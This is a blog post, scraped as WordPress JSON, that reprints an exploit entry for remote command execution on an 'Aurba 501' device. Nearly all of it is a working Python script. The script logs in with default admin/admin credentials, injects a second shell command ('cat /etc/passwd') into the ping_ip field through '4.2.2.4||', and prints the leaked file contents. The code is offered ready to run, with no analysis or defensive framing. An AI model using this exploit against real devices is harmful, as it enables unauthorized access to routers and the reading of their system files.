# Exploit Title: Remote Command Execution | Aurba 501
# Date: 17-07-2024
# Exploit Author: Hosein Vita
# Vendor Homepage: https:\/\/www.hpe.com
# Version: Aurba 501 CN12G5W0XX
# Tested on: Linux<\/p>\n
import requests
from requests.auth import HTTPBasicAuth<\/p>\n
def get_input(prompt, default_value):
user_input = input(prompt)
return user_input if user_input else default_value<\/p>\n
base_url = input(“Enter the base URL: “)
if not base_url:
print(“Base URL is required.”)
exit(1)<\/p>\n
username = get_input(“Enter the username (default: admin): “, “admin”)
password = get_input(“Enter the password (default: admin): “, “admin”)<\/p>\n
login_url = f”{base_url}\/login.cgi”
login_payload = {
“username”: username,
“password”: password,
“login”: “Login”
}<\/p>\n
login_headers = {
“Accept-Encoding”: “gzip, deflate, br”,
“Content-Type”: “application\/x-www-form-urlencoded”,
“Origin”: base_url,
“Connection”: “close”
}<\/p>\n
session = requests.Session()<\/p>\n
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)<\/p>\n
# Login to the system
response = session.post(login_url, headers=login_headers, data=login_payload, verify=False)<\/p>\n
# Check if login was successful
if response.status_code == 200 and “login failed” not in response.text.lower():
print(“Login successful!”)<\/p>\n
# The command to be executed on the device
command = “cat \/etc\/passwd”<\/p>\n
ping_ip = f”4.2.2.4||{command}”<\/p>\n
# Data to be sent in the POST request
data = {
“ping_ip”: ping_ip,
“ping_timeout”: “1”,
“textareai”: “”,
“ping_start”: “Ping”
}<\/p>\n
# Headers to be sent with the request
headers = {
“Accept-Encoding”: “gzip, deflate, br”,
“Content-Type”: “application\/x-www-form-urlencoded”,
“Origin”: base_url,
“Referer”: f”{base_url}\/admin.cgi?action=ping”,
“Connection”: “close”
}<\/p>\n
# Sending the HTTP POST request to exploit the vulnerability
exploit_url = f”{base_url}\/admin.cgi?action=ping”
response = session.post(exploit_url, headers=headers, data=data, verify=False)<\/p>\n
if any(“root” in value for value in response.headers.values()):
print(“Exploit successful! The \/etc\/passwd file contents are reflected in the headers:”)
print(response.headers)
else:
print(“Exploit failed. The response headers did not contain the expected output.”)
else:
print(“Login failed. Please check the credentials and try again.”)<\/p>\n
# Print the response headers for further analysis
print(response.headers)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Remote Command Execution | Aurba 501# Date: 17-07-2024# Exploit Author: Hosein Vita# Vendor Homepage: https:\/\/www.hpe.com# Version: Aurba 501 CN12G5W0XX# Tested on: Linux import requestsfrom requests.auth import HTTPBasicAuth def get_input(prompt, default_value):user_input = input(prompt)return user_input if user_input else default_value base_url = input(“Enter the base URL: “)if not base_url:print(“Base URL is required.”)exit(1) username = get_input(“Enter …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59169","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59169","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59169"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59169\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59169"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59169"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59169"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}